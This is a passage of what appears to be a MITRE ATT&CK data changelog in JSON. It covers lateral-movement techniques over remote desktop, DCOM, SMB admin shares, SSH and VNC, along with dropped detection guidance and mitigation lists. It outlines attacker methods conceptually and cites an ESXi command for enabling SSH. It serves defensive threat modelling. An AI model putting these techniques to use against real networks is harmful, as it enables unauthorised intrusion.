"https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html" + }, + { + "source_name": "TechNet Remote Desktop Services", + "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx" + }, + { + "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", + "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", + "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins" + }, + { + "source_name": "SSH Secure Shell", + "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.", + "url": "https://www.ssh.com/ssh" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dan Borges, @1njection" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "IaaS", + "ESXi" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Network Traffic: Network Connection Creation\", \"Command: Command Execution\", \"Network Share: Network Share Access\", \"WMI: WMI Creation\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Traffic Flow\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.472000+00:00\", \"old_value\": \"2025-04-15 19:58:32.234000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \\n\\nUse of applications such as ARD may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \\n\\nIn macOS, you can review logs for \\\"screensharingd\\\" and \\\"Authentication\\\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \\n-\\n-Use of applications such as ARD may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \\n-\\n-In macOS, you can review logs for \\\"screensharingd\\\" and \\\"Authentication\\\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1035: Limit Access to Resource Over Network", + "M1042: Disable or Remove Feature or Program", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0005: WMI (WMI Creation)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)", + "DS0033: Network Share (Network Share Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0269: Behavioral Detection Strategy for Remote Service Logins and Post-Access Activity" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:26:36.444000+00:00", + "modified": "2025-10-24 17:48:53.724000+00:00", + "name": "Distributed Component Object Model", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1021/003", + "external_id": "T1021.003" + }, + { + "source_name": "Fireeye Hunting COM June 2019", + "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" + }, + { + "source_name": "Microsoft COM", + "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx" + }, + { + "source_name": "Microsoft COM ACL", + "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1" + }, + { + "source_name": "Microsoft Process Wide Com Keys", + "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx" + }, + { + "source_name": "MSDN WMI", + "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx" + }, + { + "source_name": "Enigma DCOM Lateral Movement Jan 2017", + "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/" + }, + { + "source_name": "Enigma MMC20 COM Jan 2017", + "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" + }, + { + "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017", + "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/" + }, + { + "source_name": "Enigma Excel DCOM Sept 2017", + "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/" + }, + { + "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017", + "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.", + "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Module: Module Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.724000+00:00\", \"old_value\": \"2025-04-15 22:20:51.024000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\\n\\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\\n-\\n-Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1042: Disable or Remove Feature or Program", + "M1048: Application Isolation and Sandboxing" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0285: Multi-Event Behavioral Detection for DCOM-Based Remote Code Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:25:28.212000+00:00", + "modified": "2025-10-24 17:48:45.700000+00:00", + "name": "SMB/Windows Admin Shares", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1021/002", + "external_id": "T1021.002" + }, + { + "source_name": "Medium Detecting WMI Persistence", + "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96" + }, + { + "source_name": "TechNet RPC", + "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx" + }, + { + "source_name": "Microsoft Admin Shares", + "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.", + "url": "http://support.microsoft.com/kb/314984" + }, + { + "source_name": "Windows Event Forwarding Payne", + "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.", + "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem" + }, + { + "source_name": "Lateral Movement Payne", + "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.", + "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts" + }, + { + "source_name": "Wikipedia Server Message Block", + "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.", + "url": "https://en.wikipedia.org/wiki/Server_Message_Block" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Share: Network Share Access\", \"Network Traffic: Network Traffic Flow\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.700000+00:00\", \"old_value\": \"2025-04-15 19:58:29.701000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1035: Limit Access to Resource Over Network", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)", + "DS0033: Network Share (Network Share Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0530: Multi-Event Detection for SMB Admin Share Lateral Movement" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:27:15.774000+00:00", + "modified": "2025-10-24 17:48:34.985000+00:00", + "name": "SSH", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1021/004", + "external_id": "T1021.004" + }, + { + "source_name": "Sygnia Abyss Locker 2025", + "description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.", + "url": "https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/" + }, + { + "source_name": "TrendMicro ESXI Ransomware", + "description": "Junestherry Dela Cruz. (2022, January 24). Analysis and Impact of LockBit Ransomware\u2019s First Linux and VMware ESXi Variant. Retrieved March 26, 2025.", + "url": "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html" + }, + { + "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", + "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", + "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins" + }, + { + "source_name": "Sygnia ESXi Ransomware 2025", + "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.", + "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Janantha Marasinghe" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Process: Process Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.985000+00:00\", \"old_value\": \"2025-04-15 19:58:17.607000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use of SSH may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\\n\\nOn macOS systems log show --predicate 'process = \\\"sshd\\\"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \\\"ssh\\\" or eventMessage contains \\\"ssh\\\"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n\\nOn Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Use of SSH may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\\n-\\n-On macOS systems log show --predicate 'process = \\\"sshd\\\"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \\\"ssh\\\" or eventMessage contains \\\"ssh\\\"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n-\\n-On Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1032: Multi-factor Authentication", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0596: Behavioral Detection of Remote SSH Logins Followed by Post-Login Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:28:44.950000+00:00", + "modified": "2025-10-24 17:48:19.567000+00:00", + "name": "VNC", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1021/005", + "external_id": "T1021.005" + }, + { + "source_name": "Attacking VNC Servers PentestLab", + "description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.", + "url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/" + }, + { + "source_name": "MacOS VNC software for Remote Desktop", + "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.", + "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac" + }, + { + "source_name": "Havana authentication bug", + "description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024.", + "url": "https://lists.openstack.org/pipermail/openstack/2013-December/004138.html" + }, + { + "source_name": "macOS root VNC login without authentication", + "description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.", + "url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication" + }, + { + "source_name": "Offensive Security VNC Authentication Check", + "description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.", + "url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/" + }, + { + "source_name": "Gnome Remote Desktop grd-settings", + "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.", + "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207" + }, + { + "source_name": "Gnome Remote Desktop gschema", + "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.", + "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in" + }, + { + "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", + "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", + "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins" + }, + { + "source_name": "VNC Vulnerabilities", + "description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.", + "url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/" + }, + { + "source_name": "The Remote Framebuffer Protocol", + "description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.", + "url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2" + }, + { + "source_name": "VNC Authentication", + "description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.", + "url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication" + }, + { + "source_name": "Hijacking VNC", + "description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.", + "url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.567000+00:00\", \"old_value\": \"2025-04-15 19:58:01.548000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use of VNC may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\\n\\nOn macOS systems log show --predicate 'process = \\\"screensharingd\\\" and eventMessage contains \\\"Authentication:\\\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n\\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Use of VNC may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\\n-\\n-On macOS systems log show --predicate 'process = \\\"screensharingd\\\" and eventMessage contains \\\"Authentication:\\\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n-\\n-Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1033: Limit Software Installation", + 